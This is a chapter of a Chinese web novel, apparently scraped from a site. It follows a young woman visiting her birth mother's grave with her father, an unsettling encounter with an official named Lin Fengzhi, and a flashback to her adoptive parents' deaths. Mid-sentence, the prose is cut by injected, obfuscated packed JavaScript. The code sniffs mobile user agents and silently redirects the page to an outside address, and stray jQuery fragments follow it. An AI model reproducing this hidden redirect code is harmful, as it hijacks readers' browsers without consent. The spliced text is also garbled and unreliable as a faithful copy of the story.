月买茶从未见过凌晨四点的天空。


    浓云荫蔽了整面天，看上去像是要下暴雨，月光晦暗，明明灭灭间万籁俱寂。


    下楼时齐燕华已经在等她了。


    上个时代的青琐第一美人，所有人为之神魂颠倒的万人迷穿着全黑西装，戴着珍珠袖扣，眉头微蹙，看上去心情不太好。


    是个人起这么早心情都不好。打了个哈欠，慢悠悠下楼，她跟在齐燕华后面上了一辆黑色长轴奥迪。


    “没睡觉？”靠在椅背上，齐燕华闭着眼问。


    “嗯，太紧张了。”调整着头上出席葬礼用的黑网纱，她又打了个哈欠。


    不喜欢生母是一回事，讲礼貌又是一回事。


    她不找死人麻烦。


    怕学齐燕华闭目养神睡过去，她降下车窗，打算从凌晨的凉风里汲取些凉意。


    “昨天和芒种爷爷见面，他问我你们俩的事。”


    “我听说芒种在张罗婚礼。”


    “您呢？”她困倦地问，齐燕华的语气里似乎没有想她和李惨绿早点定下来的意思。


    “你怎么想？”


    “我忙着给我丈夫准备二十一岁生日。”


    话说李惨绿的二十一岁生日也要到了，幸好生日礼物已经定下了。


    齐燕华默了默，“你别把自己生日忘了。”


    “空了跟你三个嫂嫂见一面。”


    “跟三嫂嫂约了要出去吃早饭。”


    妈妈，咀嚼着那两个无比陌生的字，月买茶想，妈妈


    以为我会说母亲或者生母？


    有什么区别吗？反正我都没有。


    嗯了声，齐燕华转头看窗外。


    路灯一盏盏被甩在身后，约莫半小时过去，车停在了粥山墓园前。


    凌晨四点半，天还是没亮。


    一弧弯月隐隐约约亮在铅灰浓云后，整座城市还在睡觉，包括那座葬着许多先辈的山。


    对粥山的印象全来自权威新闻，陪解琟看时政的中学时代，她老是听到某某某在粥山殡仪馆火化的通讯。


    那时她在想什么？反正不是想亡母，也不是想有朝一日自己会不会触碰到国度的金字塔尖。


    路过一棵又一棵参天柏树，齐燕华在一个很陡的小坡前停住脚步，他迈开步子三步并做两步上了小坡，然后伸手使劲，把她拉了上去。


    “不知道去哪的话还是穿平底鞋得好。”继续往前走时，齐燕华提醒道。


    月买茶瞧了眼脚踩的6cm粗跟鞋，唔了声。


    脚步很快停在一座别致而孤独的墓园前。


    墓园无墙，墓座四周花团锦簇，牡丹和不知名的藤蔓都很茂盛。


    “你在这儿等等，我去折枝花。”说完，齐燕华离开了。


    看着他的背影，月买茶遽然生出一股朝他扔橘子的冲动。


    恍神间，齐燕华成了条黑线。


    天地空旷，线变成的点渺小又伟岸。


    莫名难过地收回眼神，她走进花草的中心。


    一夜未眠，整个人仿佛是浮着的，四下打量着没人，她蹲下去，扶着墓碑认上头鲜红的字。


    据解琟说，她生母是他们的救赎。


    救赎？她无语地扯扯嘴角，一字一句地念出墓碑上信息，“江颂声，生于3968年10月19日，卒于4006年5月1日……”


    “那今年是五十五岁了。”喃喃算着生母的岁数，月买茶觉得哪里不对劲。


    是死亡的年份对不上。


    不寒而栗，她抬头，心虚地看了看四周。


    草叶摇曳出沙沙声响，虫鸣阵阵，寂静得一丝人气都无，扶着墓碑站起来，她低头掸裙摆。


    “你好。”


    她给那声毫无预兆的陌生问好惊得蹲了下去。


    给自己加足道德资本，她气呼呼地抬头。


    然后又被吓了一跳。


    来人是陈院院长林风致。


    陈院全称陈嫣然学院，为大元帅陈嫣然创立，为国家提供女性力量。


    法理上，陈院院长的等级比议院长高，也就是比齐燕华等八位议席长的等级还高。


    “我扶你起来吧。”


    林风致温柔地伸出手，就当她要碰到她时，她脑子一抽，往后挪了下屁股，背部磕到坚硬的墓碑，她才反应过来自己的动作有多荒谬。


    那只手在空中顿了下，又朝她伸来。


    然后她乖乖借着林风致的力站起来了。


    “你好。”林风致朝她微笑，“我是林风致，来祭拜颂声，你呢？”她说着朝她伸出手。


    咬了下舌，把一手的泥泞擦在黑裙上，她伸出手回握林风致那大了她一号的手掌。


    好粗糙，月买茶努力挤出一个得体微笑，“您好，林院长，呃……我是路过的，叫月买茶。”


    “月买茶，这名字有趣。”林风致没松开她的手。


    “《琵琶行》里取的，商人重利轻别离，前月浮梁买茶去。”扯着自己被困住的手，她尬笑道。


    铁娘子的温柔她不习惯。


    “倒是有诗意。”看着她不自在的笑脸和想用力却不敢的手，林风致浅浅一笑，松开了她的手。


    “倒是有诗意。”林风致转过身，面对墓碑，面带怅然。


    月买茶唔唔地点头，她给自己取名的时候才六岁，哪想得到那么多。


    “她有一个女儿，你知道吗？”


    月买茶唔唔地摇头。


    见她敷衍模样，林风致笑了下，那笑凄然，似冬日寒风，让她止不住地颤栗。


    林风致艰难地勾起嘴角，怅然道：“那个女儿叫谢锦宝，她跟她妈妈死在一场火里，那时她才三岁，刚会写信。”


    “她的第一封信是给我写的，写港城的云像棉花糖，太阳像棒棒糖，姨姨要记得吃饭。”


    “我老是梦到她，梦到她跟我说疼，说姨姨救她。”


    “我常常想她长大了会是什么样。”看着她的眼，林风致忽地腔调一转，冷淡又利落道：“你小时候我跟你说做错了事不要紧，告诉大人，大人会教你怎么把事做对。”


    “既然你失忆了，那我就再说一遍。”


    垂下眼皮避开林风致有如实质的目光，月买茶掀了掀唇，想问林风致能不能多给几遍。


    而我们都知道有些事做了，人就永远都是错的了。


    “女孩儿遇到这种事想堕落倒也常见……如果她想赌｜博那就让她去，她就是能蠢到把联邦输掉也没人有能耐敢收赌｜资不是么，如果她想吸｜毒那就开个工厂给她制｜毒，谁知道外面东西多脏，如果她想做荡｜妇那就挑人培养起来给她用……不过得辛苦你去做个节育手术了，我知道你听得见，小猫咪。”


    “可以下流但是不要掉档次。”


    “当然，你要是能正常最好了……干净毕竟是个褒义词。”


    齐燕华回来了。齐燕华是折了一枝流苏回来的，白白的一蓬，像折了一树枝的雪。


    他弯腰在墓前放下花，一点不留恋地直起腰，侧头对她说：“该走了。”


    那会儿天还是没亮，浓云低低地压在头上，叫人喘不过气。


    草木生发，根茎破土的声音明显，她酸着鼻子撅起嘴，咕哝道，“好累啊，我不想走了。”


    “我能不能死在这啊。”


    “胡说八道。”齐燕华蹲下身，“上来。”


    她便上了他的背，印象里只有生父背过她，可那是很久很久之前的事了。


    “我有段时间很不开心。”她把手环上齐燕华的脖子，两眼茫茫地呢喃：“解琟说我妈是个大好人，帮了很多人。”


    “但只有一个阿姨每年会从意大利给我寄框柠檬。”


    “我就觉得这人好惨啊，做了好事都没人回报。”


    “没想到是因为我们早就死了。”


    蹭着齐燕华的脸，感受他完美皮相下的完美骨相，月买茶眼眶发酸，齐燕华长得年轻，走出去别人只会当他是她的哥哥。


    没人会想到爸爸那个词。


    齐燕华有一副不属于父亲那个庄重的词汇的祸水相貌。


    “我以前叫什么？”


    “谢锦宝，前程似锦的锦，宝贝的宝。”齐燕华轻声说，“还有一个是谢庭令，号令的令。”


    都是很好的名字，月买茶想，可惜她压不住那样的好。


    “听着像鸡|巴。”她故意玩笑。


    齐燕华的脚步顿了顿，轻轻拍了下她，他柔声反对：“不能这么说。”


    没理他，她只顾自道：“百度说我的生日在谷雨，那我为什么在夏至过生日。”


    4003年的谷雨在四月二十日，夏至在六月二十二日，两个月的距离，中间不知隔了多少人。


    “夏至是你的预产期，你是早产儿。”齐燕华叹气，“母女平安就好。”


    不健康的身子算什么平安，“谢锦宝很受欢迎吗？”她问。


    齐燕华弯了弯眉，“嗯。”


    “大家都很喜欢……”他顿了下，收回将碰到齿背的舌，把“她”替换成了“你”。


    “你说我老这两个月生病，是不是因为他们想我了，要带我下去。”


    齐燕华没说话。


    她就换了件事问：“谢济后来去哪了？”


    “失踪了。”齐燕华道。


    “没人找他？”


    “我妈妈说不要找。”齐燕华摇头。


    他的脸因摇头凑近，看到了一丝皱纹，她笑起来：“为什么不早点接我回来。”


    齐燕华没跟她争，声音低低地说了对不起。


    “以前过得很差吗？”


    “没啊，好得很。”伸出手在齐燕华发丝间里翻找，她想找出他上了年纪的证明，比如白头发，“就是随口一说。”


    忽然间淅淅沥沥地落起了雨，她掀眼皮看黑压压的乌云。


    还真是雷声大雨点小。


    背上突然一热，她发觉有人在看她。


    可惜了，她月买茶最不爱回头看，所以她注定不知道那人是谁。


    “刚刚林风致院长也来了。”把两只手架在齐燕华眉上为他挡雨，她说。


    齐燕华的脚步顿了下。


    叹了口气，他继续往前走，下了那个好陡的坡，他直起背，回头看。


    “怎么了？”


    齐燕华转回头继续走，“你应该早说的。”


    后背上的视线着实烫人，她忍不住侧了一点点头。


    雨幕苍白，她看到一对通红眼眶。


    “林院长跟你说什么了？”


    齐燕华突然出声。


    “她给我讲浪子回头金不换的故事。”


    “我们都不要赌｜博了好不好，一直回头好累的。”


    张嘴的时候，一滴雨落进嘴里，咸酸咸酸的。


    张大嘴又接了好几滴雨，月买茶想：不愧是京城，连雨水都比别处的有味道。


    莫不是酸雨，难怪是铁娘子，搁化学物质碰着眼，换一般人早瞎了。


    “小宝，你在哭吗？”


    “没有啊，是雨。”她故作不耐烦地晃腿，“快点走吧，雨要下大了。”


    齐燕华放快了脚步。


    来处停了两辆车，一辆长轴奥迪要载齐燕华去上班，一辆迈巴赫等着送她回家。


    齐燕华走近宾利时，她成功在他发里找到根白头发


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035062|193415||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    “真无语。”她看着手上黑紫白渐变的发丝，恼怒地踢了踢腿。


    她拔着自己的头发了。


    “到家了就去洗热水澡，让阿姨给她煮点驱寒的汤喝。”吩咐完，齐燕华回了自己的专车。


    黑色的车杳杳远去，她降下车窗，道：“回去吧。”


    *


    “小白今天没去上班。”


    染着晨露的外衣给家里最乐天的用人剥开，月买茶听见那人说。


    “我知道了。”过去的报纸在脑里翻开，她知道在江颂声和谢锦宝葬身火海的那日，秋月白最敬爱的生父也会因同一片火海离世。


    看眼用人放在一旁的托盘，她说：“东西我拿过去，你去忙别的吧。”


    没去家里秋月白常待的地方，她端着托盘径直去往玻璃花房。


    花房内外的草木都很旺盛了，远处池塘上一片水幕正很快活地在空中展开。


    用脚抵开门，风铃叮了两声，她环视一圈，看见秋月白坐在最角落，手里玩着一个木制的东西，往日笑得不羁的面容平静，像一潭永无新水注入的死湖。


    没说我回来了，她放下托盘，安静走到秋月白身边坐下。


    “回来了。”秋月白伸手把她揽入怀里，轻轻揉了揉她的脑袋。


    “你们对我是不是有点太好了。”枕着秋月白的肩膀，她目视玫瑰里长得最显眼的绿玫瑰，“就因为我妈妈？”


    秋月白说：“胡说。”


    “当然是胡说了。”她笑起来，“我那么招人喜欢。”


    秋月白也笑：“常常想你长大了会是什么样子。”


    “知道你还活着，就想得更多了，怕你吃苦，怕你不但吃苦还熬不过去。”


    月买茶垂眼，话里还带笑：“心理医生说我的精神状况好得能上教材了。”


    “什么内耗啊焦虑啊自卑啊，我一样都沾不上。”


    “可我为什么要内耗焦虑自卑？”她的语气很飘忽，像阵抓不到的风，“I''m rich and I''m pretty.”


    “那些恶心的情绪哪配得上我昂贵又健康的大脑。”


    秋月白哈哈笑起来，那笑愈大声愈放肆愈有悲戚之意，“爸爸要是知道你活得这么潇洒，肯定会很高兴。”


    “令尊也去了？”她很漫不经心地问。


    秋月白不笑了。


    “嗯呐。”他淡淡地应了声。


    然后他们就没再说话了。


    天气按着昨天的天气预报晴朗起来，沙沙的雨声却久久不散。


    抬指勾着有如皇上龙袍一般的阳光玩，月买茶想起父母死去那天的光景。


    那日天气晴好，天空湛蓝，洁白云朵堆叠成一圈，奇形怪状，像精灵住的小屋。


    正午的阳光热烈，芦苇草摇荡，阳光随风舞动，草丛忽明忽暗。


    那是个很好很好的天气，虽说正午的游乐场很无聊，但整体体验还是很好很好的。


    那是一个很偏僻很偏僻的游乐园，爸爸抱着她，跟小商贩换了抓娃娃要用的零钱后，给她买了根香肠。


    香肠是那种最普遍的台岛香肠，粉粉的，有厚厚的肠衣。她喜欢的吃法是咬住一大段香肠，用牙齿把里头肥肉感很足的馅刮出来。


    吃完大半的馅，她会想办法让扁扁的肠衣站起来。


    她忙得不亦乐乎，妈妈则在满头大汗地给她擦汗。


    好天气下午的一两点钟，太阳灼热得人睁不开眼，她躲开妈妈，缩在爸爸大手挡出来的阴影里，玩着香肠。


    过马路的时候周边一辆车都没有，但爸爸妈妈没有闯红灯。


    其实那条马路很窄，几步就能过去，但他们还是等到绿灯亮了才过去。


    一辆卡车也在那短短的十五秒里疾驰而过。


    那根被她啃得只剩肠衣的廉价香肠里倏地充满了真正的血肉。


    路人铺天盖地出现，黑压压地围着她，说她可怜。


    卖香肠的小商贩刚好收摊，顺手把她送去了派出所。


    她在派出所里待了两天一夜。


    第二夜是个暴雨夜。


    闪电划破深蓝发黑的夜空，照亮雨丝和一把黑伞。


    伞下被雨水浸湿的风衣翻飞。


    “你是谁？”还没有月买茶名字的月买茶踢着身上长至脚尖的黑色裙摆问。


    “我叫解琟，是你妈妈的弟弟。”解琟有一张很好看的脸，那张脸让他很快获取了月买茶的信任，“不用叫我舅舅，喊我解琟就好。”


    他拿过纸笔，在纸上刻下笔锋尖利的两个字。


    她也跟着写了遍“解琟”。


    解琟满意地点点头，与看管她的警察阿姨说了好久的话，然后说，“我们走吧。”


    “你不抱我吗？”


    警局之外的雨下得比在室内看起来得大，雨水已经打湿了黑裙，她不想鞋子再被路边积的污水污染。


    “你不能走吗？”解琟皱了下眉，蹲下身，抱起她时歉然道，“抱歉，我没抱过小孩子，如果你觉得难受就和我说。”


    她摇摇头，把下巴搁在解琟的肩膀上，那是一个能看清派出所的角度。


    眼帘因困倦和安全感而降下的最后一刻，她看到了派出所里的三样东西。


    警察阿姨两个红红的眼眶，和潮潮的五一放假通知单。


    可五一还早呢。


    很久以后再也不用等人放假，独坐在角落，她总会想起那个跟秋月白独处的上午，发现那日的天气也晴好。


    天也湛蓝，阳光也滚烫。


    而那条从出生开始就错乱的路，也没走正。


    命运从一开始就定下了她的结局。